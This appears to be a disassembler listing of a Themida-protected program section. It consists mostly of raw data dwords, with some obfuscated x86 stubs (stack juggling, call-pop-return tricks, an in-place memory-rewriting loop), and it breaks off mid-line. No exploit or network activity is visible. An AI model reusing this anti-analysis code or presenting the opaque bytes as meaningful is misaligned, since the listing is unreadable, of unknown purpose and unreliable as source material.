0F915F006h, 0ED668C65h dd 4C62F612h, 0AAC05472h, 0C22B6CCh, 0D083172Fh, 26DCA320h dd 357A13A8h, 617956A6h, 713D5229h, 0B316A421h, 0DB4413A6h dd 3D1D198Bh, 0CEF43E48h, 0A7849ABCh, 5330835Ch, 0FAAE23Bh dd 870466B6h, 13A68DF0h, 0C1E3F55Eh, 71C1EDA2h, 0A4DCF8D3h dd 9C19F709h, 144CFACDh, 46E4349Dh, 27DC596Ah, 0B31B8C05h dd 835DF14Ah, 30E809E5h, 0FFD6F9C6h, 9C376FC8h, 7A94708Ah dd 3712B042h, 6A41E31Bh, 8FEFE574h, 344E60B9h, 30073F57h dd 61FF4F5Fh, 9A356D83h, 81A300Eh, 9B53AD2Ah, 98011C68h dd 4E80A844h, 0E369A95Ah, 0C06h, 0A93D5F37h, 69ABA93h dd 66FA14F0h, 0C95D7150h, 28BCD8B3h, 0D5B0A94Fh, 350F25B9h dd 8F6D8317h, 0F2CFE579h, 0E39346DAh, 0A8269166h, 69F83D13h dd 29617956h, 21713D52h, 0A68E22A4h, 73077013h, 0D064845Dh dd 0B291DEBAh, 0D7B1459Eh, 34465A39h, 120925Fh, 6CD23A04h dd 7E113446h, 8563E030h, 5313A660h, 8220B2EAh, 847D8FA3h dd 13A7A6FBh, 54073F50h, 74FAB7E2h, 495B9373h, 7703916Eh dd 0AD46D8h, 566F0000h, 334F2A7Dh, 7210A2DAh, 536D7F93h dd 54225A7Ah, 36542E75h, 0A5B75CFEh, 0C6BAF668h, 52C4146Dh dd 793D62A0h, 0F87FFCCBh, 56144278h, 0BC8294EDh, 61F515EEh dd 0C20BE987h, 0F792CAE8h, 6BCB669Eh, 4959E38Ah, 0C6E9FBD8h dd 0F795E5C9h, 13F10319h, 0A6CDA496h, 0ED41AA13h, 6A1C4B09h dd 1B961C5Ch, 2200000Bh, 7E94284Ah, 0DBF185A5h, 3B51E5FFh dd 9EB4485Ch, 3A13A7C3h, 0A4C09BB4h, 220FA10h, 647A586Eh dd 0C5DDBAD0h, 51CE7E31h, 13A827AAh, 5654E328h, 0EFC95D7Dh dd 9995A67Dh, 0B2C49B92h, 80E0h, 0EFC86600h, 92E8BDCFh dd 0D6CF9D20h, 0ABBDDB11h, 6098B891h, 0B63C5CCEh, 0A3FB80FDh dd 0EE571442h, 63C5478Eh, 4D612E51h, 6B815FFDh, 0A8869833h dd 0C4C7D446h, 9F43968h, 0B8A8FEF7h, 0AA613A6h, 3FDA1230h dd 9D6E92E6h, 0CB0B6A1Ch, 0A8945h, 0BADCB400h, 17371026h dd 77916D83h, 0DAEECDE3h, 39553046h, 2D26CCA5h, 8CA23652h dd 0EA0094B2h, 4C62F60Ch, 10C3576Fh, 281CE360h, 75BA13A8h dd 617956E6h, 667E5B29h, 4EECEA2Eh, 2E4C2671h, 7E26C3D5h dd 5C1DC13Eh, 21A16E0h, 923F0000h, 0B8FE7F20h, 0EAC65C89h dd 0A4FD98D0h, 0D1576792h, 245EE9BEh, 0D3978129h, 0FFAD2A7Ah dd 0AD13A6FAh, 7A56F444h, 7B8D2860h dd 0AB85D9E4h, 840BE031h, 2B5DDA2Ah, 0B9E8DAF6h, 0E8861850h dd 0CCE0BF0Ch, 68A0F994h, 4C6441CDh, 3678173Ah, 793169E6h dd 7AE310C5h, 97AF8C2Ah, 846ED547h, 0B6EE0AE5h, 0F717BB1Bh dd 43597B8Dh, 73304766h, 69F4FBB7h, 144EBC10h, 0FF3F66B8h dd 9BD79h, 86A88000h, 0E303DCF2h, 435D394Fh, 0A6BA99AFh dd 521FC12h, 0F9529871h, 586E021Eh, 0B6CC607Eh, 182EC2D8h dd 0DC8F233Bh, 29C8AF2Ch, 418613A8h, 5D7D56B2h, 6D414E25h dd 0D633A01Dh, 0F65F13A8h, 30C744A6h, 6313A8D7h, 0B0196A8Ah dd 4822C09Eh, 0A680962Ah, 29617755h, 26FD358Eh, 78F54569h dd 144CE4DEh, 112D08A4h, 0ECCA68B8h, 0F1039ED6h, 7D9B7513h dd 0DBF9D3E9h, 0E0F8D5A3h, 3211888Ch, 53D91962h, 936h dd 790D2F07h, 0D66A8A63h, 36CAE4C0h, 992D4120h, 0F88CA883h dd 0A580D91Fh, 5DFF589h, 5F3D53E7h, 0C29FB549h, 0B36316AAh dd 0A8294136h, 39C80D13h, 1D9AFCC6h, 1442A066h, 0CBBD84F4h dd 0E9446DBEh, 0F6857E90h, 401442EEh, 0BB9A3D69h, 0EC8ADAD4h dd 23BEF610h, 9CB63311h, 0E213A6DDh, 451F6846h, 2575CE27h dd 0FD91AB87h, 0BF44C123h, 1B13A622h, 127DA0B2h, 0FACF4C9Ch dd 781440F9h, 57EC4E08h, 0B009FB5Bh, 0CDE5C260h, 0E4C15F39h dd 4DA6BA99h, 0F944213Bh, 55A9021Eh, 623506C9h, 9326ACECh dd 0AA000008h, 61CB0D2h, 63790D2Dh, 0C3D96D87h, 263CD0E4h dd 0C29B2F4Bh, 2C48233Ch, 8AA88298h, 0EC02E0F6h, 4D654258h dd 0D95606B9h, 13A82A22h, 77DC6BB0h, 1442A084h, 861A320Fh dd 36862867h, 0A6EF21B9h, 0FDD67413h, 5CB5CDAAh, 98778924h dd 0AC0521FCh, 0CAE0BE5Ch, 0E501DC7Ah, 0DE0012ADh, 5E25A204h dd 0FC13A6F0h, 89678193h, 23B53B73h, 44000008h, 0F965424Dh dd 0EC33BCD8h, 850252ABh, 13A69257h, 0EA4C9C05h, 0A693966Dh dd 0C9DB4413h, 93A55603h, 112213A6h, 0DED62955h, 1CFFD877h dd 28000001h, 12627856h, 48809674h, 7D59BADh, 0E303DC2Dh dd 7FB710ABh, 84BCD4B1h, 2EC2D8B6h, 0EC243A18h, 0E3337B15h dd 42A0A966h, 0D40C7514h, 1F1E461Dh, 41AF841h, 44D831CCh dd 23A502Eh, 42A05255h, 82E4FC14h, 42A17E05h, 6173DC14h dd 0BF9D80C4h, 9AF615A9h, 52C414h, 7D9371D4h, 9B4AAA45h dd 3788287Bh, 0D35631D1h, 0D8A687Ah, 1442367Eh, 57754FEDh dd 0C5FD6645h, 6BFF1DF7h, 716F391h, 4236F58Ah, 9FF86114h dd 7B99738Dh, 4D987543h, 85205870h, 0AC051BF9h, 98DFBE5Ch dd 1149A2BCh, 0E79E6476h, 0FE95410h, 6D475DF1h, 4F40174Fh dd 0F0920F5Fh, 7E13A62Ah, 0C563C515h, 9D62CDEBh, 2A13A612h dd 8E9F29Ch, 0ED89DA06h, 8FA1FA0Eh, 5F7D576Dh, 6E405027h dd 82D6A11Eh, 137C13A6h, 194D24DBh, 20FB4C26h, 0D831CC04h dd 36542E44h, 466827FEh, 0B30F79F6h, 64D61442h, 9BD72916h dd 58374990h, 90C8DEBCh, 0F2089CF5h, 5066FA18h, 6E0C5C72h dd 0A43F7793h, 4D9F7092h, 8C3C6542h, 0D59CD7FFh, 55AF2C7Ch dd 1B13A691h, 76E87AB2h, 92A93AC4h, 0B8D2E41Fh, 5A2BBFDFh dd 1762092h, 374CD9AFh, 1B930225h, 604536E3h, 0F1021442h dd 8E6806B5h, 8B9D3870h, 5B514FB0h, 2488E0h, 56B10000h dd 78255D7Dh, 1442A083h, 6910542Bh, 9ED6EECBh, 0FED7F103h dd 0EE554ADEh, 64144285h, 0FFFFB720h, 7956AFFFh, 0A016ED6Ah dd 5BC41442h, 18AABB02h, 0A04239B6h, 0A7101442h, 484DC095h dd 7D4E1F66h, 5FE59A95h, 585BE5h, 97B0000h, 0DB202D15h dd 34091BE9h, 1F66484Dh, 0A06E1592h, 83EC1442h, 15F4923Ch dd 0B811EF01h, 16F492h, 0C2A12DC8h, 0C9DB76AEh, 66B6D6AFh dd 15E734F4h, 3F512427h, 925B706Ah, 0EBF817F4h, 0F9FD4A9h dd 0ADCEE47h, 31h, 0CAB12E90h, 88144271h, 9BF412ECh, 484DB489h dd 15921F66h, 1442A06Eh, 68FBDABh, 0D4C0D002h, 0B18D2B7Bh dd 0B2C45F97h, 563992DDh, 70165D7Dh, 607A565Bh, 0A0847B28h dd 162E1442h, 0A04037B4h, 920F1442h, 1442A0EDh, 46AF0069h dd 70EF9734h, 0D1507394h, 0F052922Fh, 0CFA94797h, 0C5463DBAh dd 0AB141442h, 291E4052h, 1442D521h, 0E9425C38h, 0FFF433A5h dd 7D5634FFh, 0E5AAC95Dh, 16FC79C9h, 0E413A680h, 0E596437Bh dd 6213A680h, 0C8661551h, 0A75CD9EEh, 3313A680h, 9E3971CAh dd 0FD4EB18Ch, 787D877h, 0B0000000h, 19Eh, 424D2D00h, 659F1C6Ch dd 2B13A6A7h, 0E091B48Fh, 66B1FBA3h, 0A5F54EA7h, 0FD0F2D07h dd 70906937h, 886402DCh, 0EF485C3Bh, 110A1CB7h, 13A69FA0h dd 0EF839977h, 0D7B2FBD9h, 3B94AA88h, 94CBAAE2h, 0CD8CB831h dd 7F25D05Bh, 4759395Bh, 0E9394F2Dh, 46586C4Bh, 0CDD84A24h dd 0F23576B0h, 0AF54D121h, 2B13A631h, 0B996B0C2h, 0A78480A1h dd 0F16E815Ch, 13A6310Ah, 0CE065FC8h, 288ADA33h, 5B93AF8Ah dd 31AE55C0h, 0C32C13A6h, 0FC6702B1h, 0E0F8D548h, 6C49E7D7h dd 6F811C54h, 0E56A959Ah, 0BA2CE7DFh, 217EC111h, 6C0B1DA3h dd 0E3h, 6B434D95h, 1AF49224h, 0CD19EAF5h, 389159F7h, 3E543200h dd 78F5D3E5h, 14425E86h, 92DD240Bh, 0EE95D339h, 0A0680F8Ch dd 6AE71442h, 1442A095h, 1E87D841h, 3092370Ch, 666DF1BEh dd 26918EC5h, 14427C51h, 2F0894FDh, 6E3FD0Fh, 3092A7EEh dd 42A0CCB3h, 0F218A14h, 0D855B749h, 1442A023h, 5F3446AFh dd 1F66484Dh, 9A957D4Eh, 1CE55FE5h, 4E86A47Eh, 3902A1B3h dd 2B000000h, 8BF12092h, 30F9DC2Ah, 149AFB1Eh, 0FE4926C4h dd 34CF0723h, 92F4C9DBh, 42A06E15h, 7250EC14h, 3089245Ch dd 4C6642E0h, 3992653Ah, 165D7D56h, 1D9E5B70h, 2D000000h dd 1F66484Dh, 115F492h, 3E1C2EC9h, 42A03AC1h, 29705714h dd 7D563992h, 5B70165Dh, 0B8923092h, 0A0482F9Ah, 9D061442h dd 0FF0BB98Bh, 5648FFFFh, 0AF116179h, 42A04D32h, 8EA00914h dd 51DFAC8h, 713D5271h, 8CA88321h, 0AD1F9C7Ah, 0E313A6B3h dd 12B0427Ah, 0E071939h, 13A6B46Dh, 78B0CAA6h, 7AB2D0AAh dd 3FB4D2ACh, 1C743C68h, 0DC235B0Bh, 0BAD87809h, 0A8561F48h dd 0EDFF4BAFh, 584Eh, 424D7700h, 0D455B39h, 4CC91972h dd 13A6A986h, 0A05BE355h, 41A10D1Ah, 0D9B4502Fh, 7F2C64BDh dd 13A6D3FCh, 0EB233917h, 19F73E1Dh, 0D730CB03h, 0ED99609Fh dd 83C4DA5h, 779EAB54h, 2F7BEDD8h, 2B851E86h, 4B64DCAh dd 0BB2413A6h, 0E3F7D662h, 5FFE10ABh, 0BDh, 61795688h dd 64805B29h, 55289A2Ch, 0DC4A9E74h, 7D5A7486h, 825F2D65h dd 52E1D66Ah, 0C5144291h, 263CD0E8h, 6FE13149h, 18F5624Ah dd 0CD2DC800h, 0E5F7F15Dh, 6747481Fh, 0A50C9A17h, 0F15A13A6h dd 6E5835Dh, 0D2BDE0F2h, 3B0F8CDCh, 39144050h, 7E280D0h dd 0B7D57EBh, 8FFBF1ECh, 20F98545h, 1B2DC800h, 0B60A2601h dd 62351572h, 0A3911757h, 9A000002h, 0F60CA0C2h, 5369FD1Dh dd 0B3C95D77h, 162CC0D4h, 0B28B1F3Bh, 1C38134Ch, 7A987288h dd 0DCF2D0E6h, 3D553248h, 0C946F6A9h, 13A83032h, 92CC5BA0h dd 9DAF6420h, 6476063Ch, 45206F4Ah, 0C90119F6h, 0E87CD52Eh dd 49DDF5D2h, 6C424D78h, 0A9E99F1Ch, 3EA713A6h, 0AAA65906h dd 142513A6h, 4AC72950h, 13A6AAB5h, 7558B821h, 41FB1E75h dd 0B54A2537h, 0E3D8774Dh, 3C4E6A45h, 0C69Dh, 7956C600h dd 0FF37532Eh, 5D30B64h, 0E5FFDB2Ah, 5BCA3C8Ch dd 380CE86Fh, 50B7A6D5h, 1D963DF0h, 32AB50CDh, 0BE271442h dd 0A39E6ACh, 1D144236h, 7E942840h, 7A5189A1h, 0CC499915h dd 13A638DEh, 708F238Ch, 71FF881Fh, 0F869EF08h, 0C1FCA813h dd 60B9F4h, 0BDCB69D2h, 0AAFA5372h, 4024AA2Dh, 0F997F914h dd 0E097021Eh, 331B89E9h, 6D084054h, 4827B31Ch, 4F61FC34h dd 19B70770h, 788E223Eh, 52D819Dh, 0D8623574h, 1981298h dd 0CDA50000h, 280117ABh, 825E7408h, 0DFBED468h, 462137CBh dd 37BD962Ah, 9327431Eh, 0F185A37Dh, 53E7FDDBh, 0B448603Dh dd 2FD45101h, 0AB13A831h, 7B56D766h, 0D8B5CB5Fh, 565B2CC0h dd 5B296179h, 0D2205F7Eh, 4445C9D7h, 7D185066h, 0DD7BCB24h dd 16B1E9FFh, 6B3106B6h, 55679491h, 337B1433h, 58CC66E3h dd 319313A6h, 0A65FCFB4h, 10228B13h, 6DB89531h, 0C61F7890h dd 0ADFED876h, 245CB5D3h, 0FB997789h, 18B6061Eh, 0F1132539h dd 0AEE6FEDBh, 1C63AA1Ch, 2D8DA984h, 7183C729h, 1D6D414Eh dd 4CB83BA0h, 0B2E65814h, 0BE0B7770h, 9F08E7F9h, 3223F14Bh dd 3AC00062h, 0DEh, 0D165875Fh, 2EC2E2BBh, 8E223C18h, 0F1859978h dd 50E400DBh, 0FDD87177h, 5D374DE1h, 0B795AB3Fh, 1AF70DA1h dd 0BBB6E02h, 0A832E98Eh, 91206513h, 1C6C424Dh, 7587A37Eh dd 56D33597h, 1442A0A1h, 9AB6912Dh, 0BEDAB541h, 0E0D9EB86h dd 13A8D5FFh, 24F22A93h, 323FC47h, 87D730CBh, 847F6115h dd 78D87AD0h, 98069E1Dh, 7092A4C5h, 2D657D5Ah, 0DE0A7680h dd 7AC3A173h, 0B24D859Dh, 77532159h, 0C144255Dh, 2EABCD85h dd 122A0776h, 2806A47Eh, 0DF3FDA12h, 0A4B241FBh, 0DCF608A8h dd 1DAFE7FFh, 2686A67Fh, 8A3A0DF5h, 0D2ECFEB9h, 0F0A7DFF3h dd 15F26D19h, 765369FDh, 1FA0265Eh, 26000000h, 0CC4352C4h dd 237963E0h, 23B1C3B8h, 6C13907Ch, 0EA7C23B1h, 0B6943081h dd 603547A0h, 7E563E8Dh, 7956245Ch, 7D5B2961h, 87612F67h dd 88633169h db 6Ch byte_5EB785 db 34h, 66h, 8Bh ; DATA XREF: Themida_:00583288o dd 8A69376Fh, 94703E76h, 9B74427Ah, 68EE437Bh, 15F3h, 53242489h dd 4BBh, 245C0100h ; --------------------------------------------------------------------------- add al, 5Bh push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx sub esp, 4 mov [esp], ebp mov ecx, 36742124h add ecx, 4AF769F9h and ecx, 19A66C0Eh inc ecx dec ecx push eax mov eax, 265C4B52h or ecx, eax pop eax sub ecx, 1F93D340h push esp mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], ecx sub dword ptr [esp], 171E3553h pop dword ptr [ebp+8] add dword ptr [ebp+8], 171E3553h mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_58A287 ; --------------------------------------------------------------------------- db 91h dd 82AA2345h, 0EA930CB8h, 50C50307h, 2C2D85C6h, 684707E4h dd 0CF381725h, 19DB5FFh, 858D07E4h, 7E43BDCh, 0D88BD0FFh dd 3359858Dh, 685007E4h, 104h, 85C6D3FFh, 7E42C2Dh, 0F8BF6853h dd 0B5FF8307h, 7E4019Dh, 3BDC858Dh, 0D0FF07E4h, 75E48589h dd 0BD8307EAh, 7E4015Dh, 0B840F00h, 8B000000h, 0E415519Dh dd 5E907h, 0BB0000h, 68000000h, 100h, 75E8B58Dh, 535607EAh dd 14C195FFh, 0B58D07E4h, 7EA75E8h, 1E9F003h, 4E000000h dd 0F5C3E80h, 984h, 2F3E8000h, 0FFED850Fh, 6C6FFFFh, 0E8858D00h dd 5007EA75h, 75E495FFh, 0FF5807EAh, 0B8C17FE0h, 0A1B6E07Fh dd 8228F116h, 35731F57h, 0B927115Bh, 0A779B577h, 0D7675F3Eh dd 461BED58h, 0ED32D20Fh, 0A2D3BC0Ah, 0E359B41Fh, 78B86D57h dd 2EB8D857h, 737BBA6Dh, 37B59244h, 0C9E34C14h, 1C3EA34Bh dd 1413516Bh, 4C56DA5Ch, 9832B53Bh, 4CF2CA37h, 0F7A0F70Ch dd 0D8B10F45h, 593B3D37h, 0BE85Fh, 17560000h, 72A28EE1h dd 85B2F8B0h, 2810FEFh, 0B4000000h, 81665F80h, 8179D7F0h dd 63E4C7h, 0F3B70F00h, 0BBh, 0C0E98000h, 811F148Bh, 0AE6D05EAh dd 148E0F71h, 0E9000000h, 0Fh, 9D4E5BAFh, 87FA5F8Ch, 41550EC8h dd 815263DEh, 89DFF7C2h, 81CE8B32h, 990EB0EAh, 0B9A8B87Dh dd 0E9526DE4h, 12h, 153E4D7Eh, 764FC208h, 444F80BAh, 0B50B4DCDh dd 48FBD91h, 0D881661Fh, 6E904C7h, 0A4000000h, 0FBBF098Ah dd 3EB83F8h, 0BE951h, 94DB0000h, 6393804Eh, 0F057B7B1h dd 0E84B5E7Eh, 13h, 0D83B0DECh, 93FC2648h, 0BB9D773Fh dd 0EC5763F9h, 5043DDB4h, 5E5EC68Bh, 9CE8FB81h, 850FFFFFh dd 0FFFFFF60h, 0E29DE81h, 1AE96BFBh, 0F6000000h, 1AF7B3h dd 5 dup(0) dd 58EE900h, 39110000h, 946D8317h, 0EECAE074h, 4B2A40D4h dd 0B28DA337h, 0C3290296h, 0FF93AF8Ah, 5DF10FE9h, 0BF536947h dd 20B4CCA9h, 0BB40BD6Dh, 1713A835h, 309243D2h, 659DB592h dd 0A0985FCAh, 0CD361442h, 0ACC4A1BBh, 1990EA5Ch, 0B626FC5Dh dd 0DA4CDEA4h, 0D1F1FD44h, 87A1B34Bh, 22FC90ACh, 858E2CB0h dd 0D1FD815h, 0C6FE16F3h, 9A21C234h, 2A83EE9Eh, 0D621FE18h dd 0B5D5AEF9h, 3089245Ch, 31512AF8h, 4C6843E1h, 0CCA6743Ah dd 0CDA876AEh, 981579B1h, 582A4ECh, 3BB81A41h, 1442A744h dd 0A800A903h, 8FE09090h, 1DFA1426h, 7D5B7105h, 87F9D367h dd 43200C45h, 0F858F32Bh, 0BD9B0DDEh, 223C4EA7h, 64F62E44h dd 57457AF2h, 0B9CBBE1Dh, 6FA7C59Fh, 0BAA5E1B8h, 1C32C6DCh dd 42EF273Fh, 14424FB8h, 0C0FCA865h, 0E05B223Fh, 6598h dd 411AB800h, 52B2C121h, 0A5B24B2Dh, 0F492BE93h, 0D5EF0115h dd 0F290E0F8h, 22E8FA18h, 42A08875h, 1A320F14h, 193614E2h dd 0BC0490D9h, 336BC447h, 6792DF4h, 0B6B81129h, 0BEC246B8h dd 47E2B947h, 0B0EC9835h, 0E05BE24Fh, 188h, 7D56B100h dd 7E57255Dh, 7958265Eh, 4CC92D65h, 2C4C2518h, 8DA58298h dd 7B5628F9h, 8059275Fh, 0A017EC69h, 5AC31442h, 0F6BE09FAh dd 78D18FE5h, 0D390240h, 0CB1B3712h, 51DFA659h, 0DAFF9064h dd 7795D1ECh, 0AACCDE37h, 679FB794h, 579CBD99h, 0A6BE8858h dd 7CE7EEC7h, 70E2381Ch, 92EB0BE4h, 0F7AFC05Ah, 5BF568C7h dd 0F1D06EE0h, 0F80AA5DDh, 0A359h, 7B568200h, 7D59275Fh dd 7F5D2B63h, 63E5C36h, 48DA126Bh, 42A034CBh, 0AD39A214h dd 0B07EB6D2h, 9A1DBCD2h, 784A6EAh, 0E905E05Fh, 48643F55h dd 48634210h, 968069F7h, 0ED3D9642h, 4759734Fh, 0BDD7B381h dd 0C0DCB785h, 63E5834h, 2A6125A2h, 0DBE33C96h, 0F048A1D3h dd 38F7A7DFh, 7EE05B3Bh, 7ED89F1Ch, 0D761442h, 5A5CFBh dd 1A7C0000h, 427EE69Dh, 455B3914h, 0B821720Dh, 7B56D1A6h dd 0F795275Fh, 3ACC0418h, 42A0C6BDh, 0D22B9414h, 0ABC8A6C0h dd 5B4AEBFBh, 5E96EFADh, 0D34AFA7Dh, 7748DCF8h, 0D5D7D56h dd 885906Fh, 1442A073h, 0B1D76DFh, 0A0E69845h, 0FEBB1442h dd 11E91646h, 1EEE05Ch, 17000000h, 28607A56h, 11DF896h dd 0C5BA37C9h, 911442A0h, 6843CF28h, 6779144Ch, 0E461704Dh dd 1442A11Fh, 0C1F952BBh, 0C80014F3h, 0CC041EFAh, 743C68EBh dd 17C28FFh, 58770B25h, 0AA277737h, 13A69064h, 0C391C932h dd 75CFC7E6h, 0F712E966h, 57C013A6h, 819D93F7h, 0A17E9428h dd 0BC9B3989h, 0C3D570A8h, 65AD50FDh, 54D713A6h, 38502D10h dd 99B18EA4h, 0FD5DCF61h, 4C7EB0BFh, 5D7552DEh, 3C54314Bh dd 49FDC604h, 91E1F9D6h, 0F2CDB22Fh, 208913A6h, 0EA15EC0Eh dd 0EBD877BFh, 13Dh, 39424D14h, 730E465Ah, 934DCA1Ah, 4113A6BEh dd 0F5D2A0D8h, 563349DDh, 5B38063Eh, 4CD0B43h, 0F100DD40h dd 0A6BE8F74h, 89E24B13h, 0F3E11EF5h, 6DF6D877h, 16000000h dd 71839B78h, 0BC20929Ch, 40A6F512h, 3CC34090h, 9A144275h dd 95FC1F31h, 574CC919h, 36BBD8Ah, 156E8E67h, 754B30DDh dd 0EDCC9442h, 0F6D3A1D9h, 0C542A6DEh, 0A7C39E81h, 7E7BD46Fh dd 0A878FB7h, 80F254A4h, 1BA682ADh, 0FEDB6717h, 0C4DBD4E6h dd 92EBBDBDh, 623BD929h, 5D6F0A42h, 0A36D3Bh, 81F30000h dd 9F70DFCh, 10E5F747h, 1C6C424Dh, 0A6B9F59Fh, 21FE9C13h dd 0A8E0FAD6h, 0C3A2B40Dh, 0F290225Ah, 0D0EAFC16h, 6D47DBF3h dd 1E872FFBh, 0EDFFE0C3h, 8ED7F6D3h, 0A4E835C3h, 0D19DE5Bh dd 4CB513A6h, 0B5629AF3h, 13A60D35h, 8F8EB639h, 2C069AB2h dd 889AB08Eh, 34842A65h, 4C9B58B7h, 0AA892714h, 0B1C35E96h dd 0A71969D2h, 0A2BE9477h, 0F70DEB17h, 0B9CB24BFh, 0F6EF61F3h dd 0A93FCD8Ch, 0D0ADC7D9h, 338CAC85h, 4C6C45E3h, 0A1677914h dd 0E35313EAh, 35B202ACh, 1C670AD6h, 0CDA73BA4h, 283A522Fh dd 92309253h, 0CB669EB4h, 42A09B60h, 42CE3714h, 77124A68h dd 614D4265h, 35779411h, 9A0313A8h, 9FB79462h, 18F50Bh dd 1E5C1BC8h, 11EF0EB5h, 1AF5C3FBh, 0E562C6FEh, 52CFF1A1h dd 364E2B12h, 97AF8CA2h, 0DB5BCD5Fh, 0AD1A8ADEh, 0EA52CE2Eh dd 6A049CE7h, 545F3E58h, 453A20D7h, 0EC45AE31h, 0ED0DE6B4h dd 0FC09E7B5h, 453AF87Fh, 94ED5631h, 0CB7BF85Ch, 0B3B1287h dd 8B1F3714h, 0B6799875h, 4620A1E3h, 0E039532Fh, 1FBD4F87h dd 44162844h, 3, 563E8DD3h, 56245C7Eh, 5B296179h, 612F677Dh dd 63316987h, 66346C88h, 69376F8Bh, 703E768Ah, 74427A94h dd 0EE437B9Bh, 81E38953h, 4C3h, 4EB8300h, 8B241C87h, 89512424h dd 4C181E1h, 81000000h, 4E9h, 240C8700h, 240C895Ch, 81E18951h dd 4C1h, 4E98300h, 5C240C87h ; --------------------------------------------------------------------------- loc_5EBF84: ; DATA XREF: Themida_:00583A30o mov [esp], edx push 7EA95BBh mov ecx, [esp] add esp, 4 push esp mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], ecx pop dword ptr [edx+8] mov edx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_58A287 ; --------------------------------------------------------------------------- mov ds:0EA9AC1B8h, al pop es add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 29h, 0FFh, 6Eh dd 615B4F25h, 9291570Eh, 40E63867h, 8E47A636h, 3E791208h dd 0F87E5139h, 3BB73B61h, 8E060C5Dh, 0C2EF372h, 0F662504Ch dd 1C95BC21h, 155FB20Eh, 186E6136h, 1A6DD123h, 54565A04h dd 89010624h, 0EF69E262h, 0A4FE6129h, 561DA170h, 0DAB3CF35h dd 76CB8D28h, 3DD1D10h, 4B88F84Ch, 0C1B89974h, 7F315564h dd 0F62A321Ch, 0B9BD3202h, 2596197Ah, 9AD93D14h, 868D8D2Eh dd 0F07EA9Ch, 8D89C1B7h, 7E41B71h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 3CC35646h, 9F6178B7h, 85C771DEh dd 7E42DA1h, 599Ch, 0FDEBF0Fh, 85C7FEBFh, 7E422B9h, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_5EC0AB and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EC0AB proc near ; CODE XREF: Themida_:005EC0A3p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_5EC0AB endp ; --------------------------------------------------------------------------- db 0E5h ; --------------------------------------------------------------------------- push 8B51A599h mov ebp, 7E40A65h push dword ptr [ebp+7E40635h] push ecx mov [ebp+7E40915h], edx pop eax call dword ptr [ebp+7E43061h] push 0 push ebx call sub_5EC0E5 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EC0E5 proc near ; CODE XREF: Themida_:005EC0DDp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5EC0E5 endp ; --------------------------------------------------------------------------- db 0A5h, 79h, 0F4h dd 0E7008B23h, 0D3BF0F4Bh, 2631858Bh, 8B6007E4h, 6A61D8h dd 0E4195FFh, 0C08B07E4h, 2EC628EBh, 936CEED6h, 0B2A13AAFh dd 2538AC54h, 119882D8h, 773E1F58h, 7399AED2h, 0C808EBF9h dd 0BEF60D09h, 4AB7C5Fh, 8D8DE406h, 7EA9D59h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0C2C35545h, 0C22737A8h dd 8BA7A984h, 0E42D59BDh, 718D8907h, 0E907E41Bh, 0Eh, 0D4D0127Fh dd 0C3283044h, 95EF2559h, 85C76E50h, 7E42DA1h, 736Ch, 0C761F560h dd 0E422B985h, 7, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 48B9D9BDh, 69BD8B71h dd 0FF07E423h, 0E41E15B5h, 5B50907h, 0FF07E40Ah, 0E4306195h dd 0BD88B07h, 0E41ECD9Dh, 0FF006A07h, 0E40E4195h, 0EBC08B07h dd 8B22A679h, 66013441h, 0DF7C53B2h, 24F2F978h, 91CBEB32h dd 5081D47Bh, 7909EC3Ah, 0CD74D480h, 8B5DEFFDh, 0A418B1EAh dd 0A28F113h, 54304086h, 4E82FE2Ah, 79A5F166h, 8B23F4h dd 7E6C4BE7h, 4457EB9Eh, 8BAD1615h, 0ED5E811Ah, 0FF261D9Bh dd 6F264DD6h, 27028F1Fh, 6EEEC8E7h, 0CCB5EC86h, 27CF5B1Eh dd 0EC42F5EAh, 74D173F1h, 66F78B08h, 0E9375A58h, 0F01AB8B9h dd 5E8257Bh, 89000000h, 837EEB97h, 81B589h, 815907E4h dd 7431C1h, 0A1850100h, 0BF07E413h, 0 dd 2639BD89h db 0E4h, 7 ; --------------------------------------------------------------------------- loc_5EC28A: ; CODE XREF: Themida_:005EC2CEj mov ebx, [ecx+edi] cld add ebx, 472A04E4h mov [ebp+7E420B1h], eax sub ebx, 7F158CE9h mov esi, [ebp+7E431DDh] add ebx, 5B7AACF8h mov dx, 6864h mov [ecx+edi], ebx mov [ebp+7E40191h], ecx mov esi, [ebp+7E41BEDh] sub edi, 4 mov edx, [ebp+7E41FA5h] cmp edi, 0FFFF8C38h jnz loc_5EC28A call sub_5EC2E8 jg short near ptr loc_5EC307+1 sub [esi-0AE4DCFCh], dh or [eax-2D5DD126h], edx ; --------------------------------------------------------------------------- db 0EBh ; =============== S U B R O U T I N E ======================================= sub_5EC2E8 proc near ; CODE XREF: Themida_:005EC2D4p var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = dword ptr -16h ; FUNCTION CHUNK AT 0058A287 SIZE 0000004D BYTES ; FUNCTION CHUNK AT 0058A58E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058A801 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0058A82E SIZE 00000011 BYTES ; FUNCTION CHUNK AT 